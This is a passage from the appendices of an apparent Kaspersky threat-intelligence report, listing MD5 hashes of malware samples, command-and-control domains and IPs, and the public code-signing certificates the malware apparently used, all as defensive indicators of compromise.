intelreportskaspersky.com a6f55037cb02911c5624e70a67704156 a131d12bc9ab7983b984c81e5e7e108e 0367f890595cf28c6c195dfabae53ba5 adab033d420206fcd2503643d443956e cbbfa76cd5ed22a8c53f7f7d117923e5 93283599dbf3b2d47872dafae12afb21 d8137ded710d83e2339a97ee78494c34 93283599dbf3b2d47872dafae12afb21 06ac12b8c51aec71cefcf8a507d82ce4 3165b7472a9dd45cde49538561cba59f 043f0dcea6f6fbd1305571e6bf0fa78c 17c99725043fa1573fd650e57c3c75d3 0393036f35a7102a34fadfd77680b292 01cbd90ba5cf7e9595b208e4ca2d2d15 032a7c67332a3abf6da179ed265e6e04 23f7fe611ed2bd814bbdbfae457150b3 example md5s of files detected with Kasperskys Virus.
Win32.pioneer.dx and symantecs Infostealer.nemiminf: 00d8dd7ec8545134bdc2527b4190078b 01d09407d09355a821ba23ffb58ec40d 033d922f3f56f9ea7c976f31107e366a 043c84cef3e011e3dc731d643a205f4e 058efdf7d94c5da920a3c32cbadac2d0 0b6caacd4081d3b18e847a40c1b6a7f3 0b727001dfc90cc354bd2ccabe3c23a5 0d3e3fd44faa32e0d83b02c8b7cff49c 0d48f948b3c47d0c08e8ee026b8f4670 0fb91846ab9a4e9667c81154829f888b 1d399370e82b314ba20c21ff4ee82205 1f9d915d331f7e363c39108f41145c44 2431db868ebec1b967f5ad38abfd95c4 255f7842c6f07a6a1500a30fb4d27d54 35994a29128c08bed6f5d4aad28f102b 268d17f3763246ac27de7dc8024f23fa 40591b4ba82e0347b33098f6652640d6 4286ee45e9fcc2db3ddfad38426b7f50 4a0fa9be43cc84b5beb0b484227edfcb 4ce790e8438ed3a644984eb24452dd42 4e01e648645d041d52af9dbb09e442ef 9 TLP: Green For any inquiries, please contact intelreportskaspersky.com 4e8ea6bfacf9766f25af12fd63b16ce9 56217179283737f5c46c0a64ebe28a82 5cb91f0c3a1452176007dcc594ec02ce 5f05b4aff89a07dbac9914ae3cf1314f 611c4440aa2587f54702e7e58b7be75f 65f7b330bcc7aeebf8d84afa0b23bf02 67b96c2265e44ccfad708c9387570ab4 69fa0bfd74d0db4ad734b9944ea71ec3 6a79c842a6edca3460b0026cd16c3670 6acd47c45a3e031411af351b3be5f82e 6d3839c312976ba96e89ab6a243aef8f 6f7ec5ff103e4ee038a54816c6b9bc09 720af0fa1f2633b1b73c278a0a016559 729a2f6c7e95075ff36947bc5811a5d3 752c351778a8a18245f132dafdc54599 7a5256dda43cb459e99c0073f1e8f07b 7ad3b74bec51678622e21f57fb82e136 7f608ebfb9b1c81cb07eb8f26fd7647a 83f0f16fb86d6f67ca158d66c195884e 873f26caddfe1e9af18181d8f5f18368 8cdd3b6c577a17b698333337dd1cf3e0 8def236d23dea950d9b1b222cb9a463a 9305008e17b0805118a6a9bb45493441 965e7d4785d23ba6b6608c1245586eba 98b07144f4f5cc95348b39d6bfaeb56a 9978ced410a7dfd3a21ff59cbe1e4303 99a2cca89d044148aa3379cdf2e899fa 9a56bb6c022b3a2ab40d2b308ddf7015 9ba119cf7107d6f4f910447c90c4985d 9c3b06ab28840239cf1d0ecf4a45f6f4 9cdbd5955fc3bf6da5c00e0804b6d6a8 9d248e5cc726f2aa2fa4f06566a2d5b8 9eae89f27c8fbc5896fc7e540e4cfd4a a07db3237b6bd9789b5f1126ea7b0195 a1467e57ea55030e45325d3987db9fca a6b0406dff68430aac6a5b738731e7d0 a855b983f1f414461de0e813e2f72b24 ad35db962130becfac1de2f803a119ae b164febacafd2ab33f203fc5faecd531 b44a988d18264735f39efc2001b29c63 10 TLP: Green For any inquiries, please contact intelreportskaspersky.com bc6a78142fa68af60e4edc06d28a2f28 c25d146b4cf05f7aaa9aebbe8d1563db c34eb5aa60373119a03cfd90a5fea121 cdf5267225e6994b4670bf49ba50595a d46204e579808d520affcc71a7d35cda d73b08376c7cdf355d31b05a71c8c5ba d8137ded710d83e2339a97ee78494c34 dd6c020e4a9c112c1776215b763f7525 e4fe6fa6e540cdb77807401aa2121858 e52b7d5391152da89b1db64060ba96ae efda0c1d8593d3ab3a7c079b71a0f2bc f7d0d5fc6b01a2e0f3a1c021bab49437 fcd2458376398b0be09eaa34f4f4d091 e8bfb82b0dd5cef46116d61f62c25060 a47f6878da6480089c2ff3bdddbd7104 9f56c7f03370692f1d4761ddb848daf5 3e38b8ccd38682ad4ec1f0fcfc1fb16a b5ab66687d53914a65447aacc8fb3e88 fda0320d1e28bc022e4d9e9aae544db4 29d76d34d8878f7ac703837ec774f26a 1bfc1b606fc8aa85e1094b01b08eafd6 64c4d56457516a646d10732f24214cf2 3e38b8ccd38682ad4ec1f0fcfc1fb16a b5ab66687d53914a65447aacc8fb3e88 2600671b87dedbb50ca728285eb141b8 5b7b8d3b844b4dbc22875a2a6866a862 da608f216594653a1716edd5734cd6e1 cd1134ad11d21b4626e28cf5a9eb6f0c 53bc1a9d19aae7f783e019ec7613c366 ebe6b78006ecffe1511f46c86d16f4aa c2d00fef0659640c1345967d2f554278 fe95141837ae86cb02a1bbf6a070cbb4 a0b0389eb9bbfe1839d3da7a1995da3f 822871578022c1292c9cb051cceedfe2 ca7e5ff32b729d0d61340911a01a479a 35cd5ca2e33400a67345b00ef6db3ff6 11 TLP: Green For any inquiries, please contact intelreportskaspersky.com a45e0f8a404d846289f3a223253e94a9 8c3fc5e341d7df51ea9b781a55908e82 e8190374c3d962f5c2cbb5e30007216c 9a0963dbee2361fa9cebaa6e0e517774 397e492f1f65ed9a3c3edc9c7a938f01 12 TLP: Green For any inquiries, please contact intelreportskaspersky.com appendix B. fully Qualified domain names, command and control 163pics.net 163services.com 180.235.132.99 203.146.249.178 22283.bodis.com 42world.net 59.188.31.24 88dafa.biz academyhouse.us ackr.myvnc.com acrobatup.com adobearm.com adobeplugs.net adoberegister.flashserv.net adobeupdates.com albasrostga.com alexa97.com0 alphacranes.com alphastros.com amanity50.biz anti-wars.org applyinfo.org auto2115.icr38.net auto2116.phpnet.us auto24col.info autobaba.net84.net autoban.phpnet.us autobicy.yaahosting.info autobicycle.20x.cc autobicycle.freehostking.com autobicyyyyyy.50gigs.net autoblank.oni.cc autobrown.gofreeserve.com autocargo.100gbfreehost.com autocash.000php.com autocashhh.hostmefree.org autocaze.crabdance.com autocheck.000page.com autochecker.myftp.biz autocracy.phpnet.us autocrat.comuf.com autodoor.freebyte.us autof888com.20x.cc autofseven.freei.me autogeremys.com autoinsurance.000space.com autojob.whostas.com autoken.scienceontheweb.net autolace.twilightparadox.com automachine.servequake.com automatic.waldennetworks.com automation.000a.biz automation.icr38.net automobile.000a.biz automobile.200gigs.com automobile.freei.me 13 TLP: Green For any inquiries, please contact intelreportskaspersky.com automobile.it.cx automobile.megabyet.net automobile.x4host.eu automobiles.strangled.net automotive.20x.cc autonomy.host22.com autopapa.noads.biz autopara.oliwy.net autoparts.phpnet.us autopatch.createandhost.com autopatch.verwalten.ch autophile.00free.net autopilot.verwalten.ch autoplant.byethost11.com autopsy.createandhost.com autoreviews.dyndns.info autorico.ignorelist.com autosadeo.000php.com autosail.ns01.biz autoshop.hostmefree.org autostart.waldennetworks.com autotest.byethost4.com autotree.freebyte.us autoup.eu.pn autoupdafree.my5gigs.com autoupdate.eg.vg autoupdate.freehostia.com autoupdate.megabyet.net autoupdate.zoka.cc autoupdatefree.freehostia.com autoupdatefree.verwalten.ch autoupdatefree.waldennetworks.com autoupdatefree.zoka.cc autoupdatefreee.my5gigs.com autoupdates.5gigs.net autoupdatfreeee.coolwwweb.com autoupgrade.awardspace.biz autovita.xtreemhost.com autovonmanstein.x10.mx autoworld.serveblog.net autozone.000space.com begatrendsone.com begatrials.com bizannounce.com blonze.createandhost.com bluecat.biz.nf bluemagazines.servegame.com bokselpa.dasfree.com checkingvirusscan.com clus89.crabdance.com codec.servepics.com control.wrizx.net cranseme.ignorelist.com crazymand.twilightparadox.com crendesting.strangled.net dailybread.waldennetworks.com dailyissue.net dailynews.000page.com dailypatch-rnr2008.net dailysummary.net dailyupdate.110mb.com domainmanagemenet.com donatewa.phpnet.us downsw.onlinewebshop.net 14 TLP: Green For any inquiries, please contact intelreportskaspersky.com dpc.servegame.com ds505cam.com ebizcentres.com elibrarycentre.com err.cloins.com eztwt.com fame.mooo.com fashions.0fees.net fenraw.northgeremy.info fenrix.yaahosting.info fenrmi.eu.pn foreignaffair.org gamepia008.my5gigs.com genelousmanis.phpnet.us generalemountina.com genuinsman.phpnet.us gigahermes.com gigamiros.zyns.com gigathread.itemdb.com gigatrend.org giveaway.6te.net goathoney.biz goizmi.ignorelist.com goizmi.phpnet.us goldblacktree.waldennetworks.com gphpnet.phpnet.us greatechangemind.com greenlabelstud.000space.com gurunichi.createandhost.com halemdus.000space.com heinzmarket.com hotemup.icr38.net humanforum.net hummfoundation.org individuals.sytes.net infonetworks.biz innewsmessenger.com jackie311.byethost16.com jandas.byethost7.com javaupdate.flashserv.net jonejokoss.byethost6.com jonemaccane1.byethost7.com jpnspts.biz jpqueen.biz kaoal.chickenkiller.com laborsforum.org lakers.jumpingcrab.com limited.000space.com lookasjames.000space.com mansgepitostraig.com mechanicalcomfort.net microalba.serveftp.com microblo5.mooo.com microbrownys.strangled.net microchiefs.twilightparadox.com microchisk.mooo.com microchsse.strangled.net microdelta.crabdance.com microgenuinsman.servebeer.com microjonjokoss.jumpingcrab.com microlilics.000space.com microlilics.crabdance.com micromacrarusn.com micromacs.org 15 TLP: Green For any inquiries, please contact intelreportskaspersky.com micromichi.ezua.com micromps1.net micronames.jumpingcrab.com micronao.hopto.org micronaoko.jumpingcrab.com microos.jumpingcrab.com microplants.strangled.net microsoft-xpupdate.com microyours.ignorelist.com minshatopas12.org msdn4updates.com mshotfix.com msupdates.com myhome.serveuser.com myphone.freei.me nanogalsman.org nanomicsoft.com nanoocspos.com nanosleepss.net ncnbroadcasting.reportinside.net neao.biz neosilba.com new.freecinemaworld.net new.islamicawaken.com newsagencypool.com newsdailyinhk.com newsups.000a.biz nokasblog.agilityhoster.com officerevision.com online.usean.biz outlookz.com pb.enewslive.org pb.qocp.net pb.upinfo.biz photo.eonlineworld.com popin.0fees.net private.neao.biz proteingainer.biz rainbowbbs.mywebcommunity.org rayp.biz re.policyforums.org redblacksleep.createandhost.com redlooksman.servehttp.com reportinshop.com reportinside.net rootca.000space.com sales.eu5.org secureonline.net self-makeups.com self-makingups.com sellingconnection.org sens.humanforum.net shndia.com silverbell.000space.com sipapals.servehalflife.com smartappactiv.com smartnewup.crabdance.com sourcecodecenter.org spotnews.com st.cloins.com stloelementry.200gigs.com students.serveblog.net supportforum.org terryblog.110mB.com 16 TLP: Green For any inquiries, please contact intelreportskaspersky.com thenewesthta.mypressonline.com thirdbase.bugs3.com todaynewscentre.net tradeinf.com unknown12.ignorelist.com updaairpush.ignorelist.com updaily.biz.nf updaily.phpnet.us updaisin.net16.net updalsim.freehostee.com updarling.000a.biz updatable.20x.cc updateall.000a.biz updatecache.net updatefast.000a.biz updateiphone.20x.cc updateitunes.waldennetworks.com updatejava.megabyet.net updatepatch.icr38.net updateschedule.verwalten.ch updatesw.110mb.com updatesw.zoka.cc updatewell.freebyte.us updatewifis.dyndns-wiki.com updauganda.waldennetworks.com updawn4you.net84.net upgrade77.steadywebs.com video.humorme.info voicemailz.net wein.isgreat.org windowservices.net world.issuetoday.net world.uktimesnews.com wowhome.byethost8.com ww42.200gigs.com www.appfreetools.com www.digitalimagestudy.com www.imggoogle.com www.info-cache.net www.mobilitysvc.com www.neosilba.com www.newsupdates.org www.serveblog.net www.singlehost.org www.smartnewup.com www.sqlengine.net www.strangled.net www.universalonline.com www.win7smartupdate.com yahooservice.biz yellowleos.phpnet.us ypiz.net 17 TLP: Green For any inquiries, please contact intelreportskaspersky.com appendix c. code-signing certificates Certificate: Data: Version: 3 (0x2) Serial Number: 2576597 (0x2750d5) Signature Algorithm: sha1WithRSAEncryption Issuer: CMY, ODigicert Sdn.
Bhd.,
OU457608K, CNDigisign Server ID (Enrich) Validity Not Before: Jun 2 03:55:56 2009 GMT Not After : Jun 2 03:55:56 2011 GMT Subject: CMY, OJARING Communications Sdn.
Bhd.,
OUJARING, CNwebmail.jaring.my, LW.Persekutuan/emailAddresssysadminjaring.my, STKuala Lumpur Subject Public Key Info: Public Key Algorithm: rsaEncryption PublicKey: (512 bit) Modulus: 00:a4:81:6d:8d:e4:a6:fa:64:68:c8:41:4b:f3:08: 89:c6:8c:f5:52:c5:64:00:7a:a4:00:29:be:fb:e6: c8:b7:92:de:52:71:f8:23:27:16:8e:4f:59:c4:c3: 52:2c:b2:7e:72:d9:b1:88:ae:a5:23:01:2d:5b:63: dd:8d:49:1e:8f Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Subject Key Identifier: 41:6B:A5:9E:58:E5:29:B7 X509v3 Certificate Policies: Policy: 2.16.458.1.1 CPS: http://www.digicert.com.my/cps.htm X509v3 Authority Key Identifier: keyid:C6:16:93:4E:16:17:EC:16:AE:8C:94:76:F3:86:6D:C 5:74:6E:84:77 X509v3 Key Usage: Digital Signature, Non Repudiation, Key Encipherment, Data Encipherment Signature Algorithm: sha1WithRSAEncryption 57:b9:37:76:d1:c4:95:5d:cf:20:51:ea:c5:92:ad:7e:24:a7: 18 TLP: Green For any inquiries, please contact intelreportskaspersky.com 78:d2:92:c1:76:45:c6:0f:6e:84:35:15:aa:82:8b:42:55:1d: e0:8a:8e:86:13:de:98:02:8e:25:2b:24:a8:8b:84:a2:36:37: f4:f6:1d:81:1b:96:c7:ee:2d:f9:68:fe:78:98:8b:bb:5a:a0: bb:40:03:b2:ca:6b:84:12:e8:c4:cd:df:ad:9d:66:c7:75:08: 60:5b:e3:04:de:bf:25:99:fb:d1:5a:12:b1:d9:a8:c3:48:19: ed:bf:dc:b7:5f:ff:8e:cf:37:2b:24:65:e5:3f:b9:b2:63:cc: cf:5c BEGIN CERTIFICATE MIIC2TCCAkKgAwIBAgIDJ1DVMA0GCSqGSIb3DQEBBQUAMGMxCzAJBgNVBAYTAk1Z MRswGQYDVQQKExJEaWdpY2VydCBTZG4uIEJoZC4xETAPBgNVBAsTCDQ1NzYwOC1L MSQwIgYDVQQDExtEaWdpc2lnbiBTZXJ2ZXIgSUQgKEVucmljaCkwHhcNMDkwNjAy MDM1NTU2WhcNMTEwNjAyMDM1NTU2WjCBtjELMAkGA1UEBhMCTVkxJzAlBgNVBAoT HkpBUklORyBDb21tdW5pY2F0aW9ucyBTZG4uQmhkLjEPMA0GA1UECxMGSkFSSU5H MRowGAYDVQQDExF3ZWJtYWlsLmphcmluZy5teTEWMBQGA1UEBxMNVy5QZXJzZWt1 dHVhbjEhMB8GCSqGSIb3DQEJARYSc3lzYWRtaW5AamFyaW5nLm15MRYwFAYDVQQI Ew1LdWFsYSBMdW1wdXIgMFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKSBbY3kpvpk aMhBS/MIicaM9VLFZAB6pAApvvvmyLeS3lJxCMnFo5PWcTDUiyyfnLZsYiupSMB LVtj3Y1JHo8CAwEAAaOBijCBhzARBgNVHQ4ECgQIQWulnljlKbcwRAYDVR0gBD0w OzA5BgVgg0oBATAwMC4GCCsGAQUFBwIBFiJodHRwOi8vd3d3LmRpZ2ljZXJ0LmNv bS5teS9jcHMuaHRtMB8GA1UdIwQYMBaAFMYWk04WFwWroyUdvOGbcV0boR3MAsG A1UdDwQEAwIE8DANBgkqhkiG9w0BAQUFAAOBgQBXuTd20cSVXc8gUerFkq1JKd4 0pLBdkXGD26ENRWqgotCVR3gio6GE96YAo4lKySoi4SiNjf09h2BG5bH7i35aP54 mIu7WqC7QAOyymuEEujEzdtnWbHdQhgWME3r8lmfvRWhKx2ajDSBntv9y3X/O zzcrJGXlP7myY8zPXA END CERTIFICATE Certificate: Data: Version: 3 (0x2) Serial Number: 2657623 (0x288d57) Signature Algorithm: sha1WithRSAEncryption Issuer: CMY, ODigicert Sdn.
Bhd.,
OU457608K, CNDigisign Server ID (Enrich) Validity Not Before: Sep 29 06:46:10 2009 GMT Not After : Sep 29 06:46:10 2011 GMT Subject: OMARDI, CNanjungnet.mardi.gov.my, STSERDANG Subject Public Key Info: 19 TLP: Green For any inquiries, please contact intelreportskaspersky.com Public Key Algorithm: rsaEncryption PublicKey: (512 bit) Modulus: 00:ba:4f:4f:7d:e9:62:7a:d5:f8:62:99:0d:29:4c: af:0e:f4:7d:49:7e:6e:d9:30:d3:06:49:6b:b0:77: cd:67:2d:c9:61:55:3d:00:b1:7a:b4:a0:f4:64:61: 9c:81:38:3e:44:6e:0e:15:a9:58:f9:60:68:a2:29: b2:0d:7e:67:71 Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Subject Key Identifier: 48:15:99:11:61:48:10:FD X509v3 Certificate Policies: Policy: 2.16.458.1.1 CPS: http://www.digicert.com.my/cps.htm X509v3 Authority Key Identifier: keyid:C6:16:93:4E:16:17:EC:16:AE:8C:94:76:F3:86:6D:C 5:74:6E:84:77 X509v3 Key Usage: Digital Signature, Non Repudiation, Key Encipherment, Data Encipherment Signature Algorithm: sha1WithRSAEncryption 8a:89:09:23:6f:ff:bd:7d:0b:45:ff:a8:83:ae:cf:c3:f3:1a: 79:9d:f4:42:22:37:78:b4:6b:7b:86:4f:ee:7a:35:4b:52:8e: 25:25:b3:06:37:1f:f0:bd:72:56:af:d9:b0:cd:48:be:8a:3c: a2:07:10:1f:7b:62:c9:01:02:47:a9:b8:7f:27:52:13:28:b4: c6:a8:5b:e5:57:1a:d3:92:3d:5b:5c:b3:a9:14:cf:1b:ea:fd: 43:48:36:11:9d:85:25:4d:f9:26:84:d8:4d:1a:9c:bd:47:67: 5f:e6:1d:e7:17:71:71:24:15:68:4e:68:9f:bf:62:10:3e:75: 83:a2 BEGIN CERTIFICATE MIICZTCCAc6gAwIBAgIDKI1XMA0GCSqGSIb3DQEBBQUAMGMxCzAJBgNVBAYTAk1Z MRswGQYDVQQKExJEaWdpY2VydCBTZG4uIEJoZC4xETAPBgNVBAsTCDQ1NzYwOC1L MSQwIgYDVQQDExtEaWdpc2lnbiBTZXJ2ZXIgSUQgKEVucmljaCkwHhcNMDkwOTI5 MDY0NjEwWhcNMTEwOTI5MDY0NjEwWjBDMQ4wDAYDVQQKEwVNQVJESTEfMB0GA1UE AxMWYW5qdW5nbmV0Lm1hcmRpLmdvdi5teTEQMA4GA1UECBMHU0VSREFORzBcMA0G CSqGSIb3DQEBAQUAA0sAMEgCQQC6T0996WJ61fhimQ0pTK8O9H1Jfm7ZMNMGSWuw d81nLclhVT0AsXq0oPRkYZyBOD5Ebg4VqVj5YGiiKbINfmdxAgMBAAGjgYowgYcw EQYDVR0OBAoECEgVmRFhSBD9MEQGA1UdIAQ9MDswOQYFYINKAQEwMDAuBggrBgEF 20 TLP: Green For any inquiries, please contact intelreportskaspersky.com BQcCARYiaHR0cDovL3d3dy5kaWdpY2VydC5jb20ubXkvY3BzLmh0bTAfBgNVHSME GDAWgBTGFpNOFhfsFq6MlHbzhm3FdG6EdzALBgNVHQ8EBAMCBPAwDQYJKoZIhvcN AQEFBQADgYEAiokJI2//vX0LRfog67Pw/MaeZ30QiI3eLRre4ZP7no1S1KOJSWz Bjcf8L1yVq/ZsM1Ivoo8ogcQH3tiyQECR6m4fydSEyi0xqhb5Vca05I9W1yzqRTP Gr9Q0g2EZ2FJU35JoTYTRqcvUdnXYd5xdxcSQVaE5on79iED51g6I END CERTIFICATE Certificate: Data: Version: 3 (0x2) Serial Number: 01:00:00:00:00:01:1e:de:de:a3:da Signature Algorithm: sha1WithRSAEncryption Issuer: CBE, OCybertrust, OUEducational CA, CNCybertrust Educational CA Validity Not Before: Jan 16 08:55:33 2009 GMT Not After : Jan 16 08:55:33 2012 GMT Subject: CGB, STEngland, LLondon, OLondon Metropolitan University, OUISS, CNskillsforge.londonmet.ac.uk Subject Public Key Info: Public Key Algorithm: rsaEncryption PublicKey: (512 bit) Modulus: 00:b8:73:f6:45:f2:83:21:4e:66:5d:a8:7d:29:a4: aa:21:1e:cb:1e:03:41:dc:1f:cd:1b:2c:d0:f6:3f: ca:ed:46:f2:be:8f:32:92:1c:a1:69:06:08:db:b9: ee:e2:51:bb:9c:bf:68:c3:6f:61:8a:de:e5:be:46: 5b:c4:bf:44:b9 Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Key Usage: critical Digital Signature, Key Encipherment X509v3 Authority Key Identifier: keyid:65:65:A3:3D:D7:3B:11:A3:0A:07:25:37:C9:42:4A:5 B:76:77:50:E1 X509v3 Subject Key Identifier: 14:5A:F5:85:8E:AC:81:77:46:5F:22:70:39:2E:64:E5:EF: F5:28:E1 X509v3 CRL Distribution Points: 21 TLP: Green For any inquiries, please contact intelreportskaspersky.com Full Name: URI:http://crl.globalsign.net/educational.crl Authority Information Access: CA Issuers URI: http://secure.globalsign.net/cacert/educational.crt Netscape Cert Type: SSL Client, SSL Server Signature Algorithm: sha1WithRSAEncryption 2a:fd:1e:cb:cd:45:42:24:44:32:72:bd:3c:cb:27:31:4a:8b: 2a:25:48:65:06:31:fd:81:5d:ac:e1:5b:6a:ff:96:2a:50:73: 1e:16:9b:2a:4f:18:ee:fe:26:30:d0:cb:96:f6:11:e6:2b:0f: 95:d1:4b:80:cd:a8:aa:0c:1b:6c:a4:7a:41:af:db:9f:00:b1: 64:51:d3:db:16:ad:27:98:23:a8:43:dc:3a:2c:17:79:7b:90: 71:fa:ad:00:9c:ec:d1:24:b7:ba:81:de:35:e9:d6:fe:a0:92: 46:69:b2:86:36:04:57:ba:9b:b0:92:24:e9:44:2b:ca:d8:09: 54:b0:2d:64:21:24:c0:d4:77:86:de:77:04:2b:f2:6b:a8:1d: de:9b:5b:df:32:d3:45:ee:32:e6:60:a6:07:77:02:ef:98:d1: 9d:de:40:3b:42:74:dd:c6:da:bb:2f:1a:42:58:93:db:2e:1f: f9:23:41:ab:e7:63:c7:1c:d3:ec:f3:bf:60:41:64:0c:ef:22: b3:a0:cb:ae:bd:32:0e:0f:3c:00:13:b0:32:47:62:b5:aa:22: 7b:76:0b:d2:f2:f5:eb:92:c8:f8:6c:9d:d3:ad:f7:f1:b9:c6: 94:51:31:5a:e8:1b:68:76:d4:3a:00:83:b3:3f:ef:03:a2:d2: c5:25:d8:d4 BEGIN CERTIFICATE MIIDnjCCAoagAwIBAgILAQAAAAABHt7eo9owDQYJKoZIhvcNAQEFBQAwXzELMAkG A1UEBhMCQkUxEzARBgNVBAoTCkN5YmVydHJ1c3QxFzAVBgNVBAsTDkVkdWNhdGlv bmFsIENBMSIwIAYDVQQDExlDeWJlcnRydXN0IEVkdWNhdGlvbmFsIENBMB4XDTA5 MDExNjA4NTUzM1oXDTEyMDExNjA4NTUzM1owgY0xCzAJBgNVBAYTAkdCMRAwDgYD VQQIEwdFbmdsYW5kMQ8wDQYDVQQHEwZMb25kb24xJzAlBgNVBAoTHkxvbmRvbiBN ZXRyb3BvbGl0YW4gVW5pdmVyc2l0eTEMMAoGA1UECxMDSVNTMSQwIgYDVQQDExtz a2lsbHNmb3JnZS5sb25kb25tZXQuYWMudWswXDANBgkqhkiG9w0BAQEFAANLADBI AkEAuHP2RfKDIU5mXah9KaSqIR7LHgNB3B/NGyzQ9j/K7Ubyvo8ykhyhaQYI27nu 4lG7nL9ow29hit7lvkZbxL9EuQIDAQABo4HzMIHwMA4GA1UdDwEB/wQEAwIFoDAf BgNVHSMEGDAWgBRlZaM91zsRowoHJTfJQkpbdndQ4TAdBgNVHQ4EFgQUFFr1hY6s gXdGXyJwOS5k5e/1KOEwOgYDVR0fBDMwMTAvoC2gK4YpaHR0cDovL2NybC5nbG9i YWxzaWduLm5ldC9lZHVjYXRpb25hbC5jcmwwTwYIKwYBBQUHAQEEQzBBMD8GCCsG AQUFBzAChjNodHRwOi8vc2VjdXJlLmdsb2JhbHNpZ24ubmV0L2NhY2VydC9lZHVj YXRpb25hbC5jcnQwEQYJYIZIAYb4QgEBBAQDAgbAMA0GCSqGSIb3DQEBBQUAA4IB AQAq/R7LzUVCJEQycr08yycxSosqJUhlBjH9gV2s4Vtq/5YqUHMeFpsqTxju/iYw 22 TLP: Green For any inquiries, please contact intelreportskaspersky.com 0MuW9hHmKwV0UuAzaiqDBtspHpBr9ufALFkUdPbFq0nmCOoQ9w6LBd5e5Bxq0A nOzRJLe6gd416dboJJGabKGNgRXupuwkiTpRCvK2AlUsC1kISTA1HeG3ncEK/Jr qB3em1vfMtNF7jLmYKYHdwLvmNGd3kA7QnTdxtq7LxpCWJPbLh/5I0Gr52PHHNPs 879gQWQM7yKzoMuuvTIODzwAE7AyR2K1qiJ7dgvS8vXrksj4bJ3TrffxucaUUTFa 6BtodtQ6AIOzP8DotLFJdjU END CERTIFICATE Certificate: Data: Version: 3 (0x2) Serial Number: 19771 (0x4d3b) Signature Algorithm: sha1WithRSAEncryption Issuer: CUS, OAnthem Inc, OUEcommerce, CNAnthem Inc Certificate Authority Validity Not Before: Apr 22 18:15:10 2009 GMT Not After : Apr 22 18:15:10 2010 GMT Subject: CUS, STIndiana, LIndianapolis, OAnthem Insurance Company Inc, OUEBusiness, CNahi.anthem.com Subject Public Key Info: Public Key Algorithm: rsaEncryption PublicKey: (512 bit) Modulus: 00:d4:95:e5:13:d8:7f:91:27:29:f6:76:72:9a:13: a6:e2:4b:ec:16:ed:fc:a5:d8:f9:a1:f3:57:4b:85: 56:ec:ca:80:9f:0c:23:9d:36:45:db:ee:a8:ee:47: b7:33:21:e4:93:72:7d:00:02:98:08:d8:88:c9:45: b5:22:cc:bc:77 Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Basic Constraints: critical CA:FALSE X509v3 Subject Alternative Name: email:dlaitmiddlewareanthem.com X509v3 Key Usage: critical Key Encipherment X509v3 Authority Key Identifier: keyid:FA:1A:DC:3E:5D:A6:B5:FD:FA:5F:6C:CB:28:40:D3:E 0:97:A2:AA:AC 23 TLP: Green For any inquiries, please contact intelreportskaspersky.com DirName:/CUS/OGTE Corporation/OUGTE CyberTrust Solutions, Inc./CNGTE CyberTrust Global Root serial:07:27:16:11 X509v3 Subject Key Identifier: 6B:46:CC:B6:F4:8F:05:14:46:5D:D8:23:B8:05:73:E3:58: 7E:D6:A6 Signature Algorithm: sha1WithRSAEncryption 71:72:2a:c2:fc:70:13:d6:7a:a7:08:50:f2:e5:c9:7d:61:e8: 3d:bd:98:89:2a:76:3f:16:1e:c1:2d:31:8b:81:b6:95:83:5b: d3:48:35:3d:78:9a:e3:76:c9:89:a0:8a:74:a0:cd:ae:56:cf: 30:c7:72:d2:72:d0:aa:4b:9c:18:13:41:90:30:45:6d:bd:24: d4:88:1e:83:f3:ef:ac:d7:c3:6f:82:2d:10:20:d6:06:01:36: 45:50:13:b4:32:6b:39:73:c9:7d:67:84:d4:ab:87:fc:c9:2a: 8d:ee:63:7a:e2:f1:8c:4a:47:7f:3a:cb:6e:68:a2:c1:32:c6: 04:e6:7a:35:45:46:05:99:29:90:2e:a8:2e:dd:8a:d4:8c:31: 2e:77:57:84:62:87:fa:e1:60:2a:2a:e7:15:4c:4b:18:0d:a7: a2:cb:d6:32:ae:40:73:51:65:76:df:08:d4:f5:fa:a9:d9:c3: d4:5f:12:dc:ca:cd:4d:1e:ca:de:9f:c3:c9:5d:53:4c:d2:54: 14:43:e5:d8:2b:9c:7c:7e:da:33:d7:69:80:43:dd:96:3d:64: aa:91:63:5f:48:50:7b:33:d7:85:3a:a9:d7:74:71:da:4a:82: cf:b1:14:82:f6:95:72:d8:a9:24:3e:b4:14:94:0c:17:2c:6f: 8a:93:1a:a2 BEGIN CERTIFICATE MIIDsTCCApmgAwIBAgICTTswDQYJKoZIhvcNAQEFBQAwYTELMAkGA1UEBhMCVVMx EzARBgNVBAoTCkFudGhlbSBJbmMxEjAQBgNVBAsTCUVjb21tZXJjZTEpMCcGA1UE AxMgQW50aGVtIEluYyBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwHhcNMDkwNDIyMTgx NTEwWhcNMTAwNDIyMTgxNTEwWjCBijELMAkGA1UEBhMCVVMxEDAOBgNVBAgTB0lu ZGlhbmExFTATBgNVBAcTDEluZGlhbmFwb2xpczElMCMGA1UEChMcQW50aGVtIElu c3VyYW5jZSBDb21wYW55IEluYzESMBAGA1UECxMJRUJ1c2luZXNzMRcwFQYDVQQD Ew5haGkuYW50aGVtLmNvbTBcMA0GCSqGSIb3DQEBAQUAA0sAMEgCQQDUleUT2HR Jyn2dnKaE6biSwW7fyl2Pmh81dLhVbsyoCfDCOdNkXb7qjuR7czIeSTcn0AApgI 2IjJRbUizLx3AgMBAAGjggEPMIIBCzAMBgNVHRMBAf8EAjAAMCcGA1UdEQQgMB6B HGRsLWFpdC1taWRkbGV3YXJlQGFudGhlbS5jb20wDgYDVR0PAQH/BAQDAgUgMIGi BgNVHSMEgZowgZeAFPoa3D5dprX9l9syyhA0CXoqqsoXmkdzB1MQswCQYDVQQG EwJVUzEYMBYGA1UEChMPR1RFIENvcnBvcmF0aW9uMScwJQYDVQQLEx5HVEUgQ3li ZXJUcnVzdCBTb2x1dGlvbnMsIEluYy4xIzAhBgNVBAMTGkdURSBDeWJlclRydXN0 IEdsb2JhbCBSb290ggQHJxYRMB0GA1UdDgQWBBRrRsy29I8FFEZd2CO4BXPjWH7W pjANBgkqhkiG9w0BAQUFAAOCAQEAcXIqwvxwE9Z6pwhQ8uXJfWHoPb2YiSp2PxYe 24 TLP: Green For any inquiries, please contact intelreportskaspersky.com wS0xi4G2lYNb00g1PXia43bJiaCKdKDNrlbPMMdy0nLQqkucGBNBkDBFbb0k1Ige g/PvrNfDb4ItECDWBgE2RVATtDJrOXPJfWeE1KuH/Mkqje5jeuLxjEpHfzrLbmii 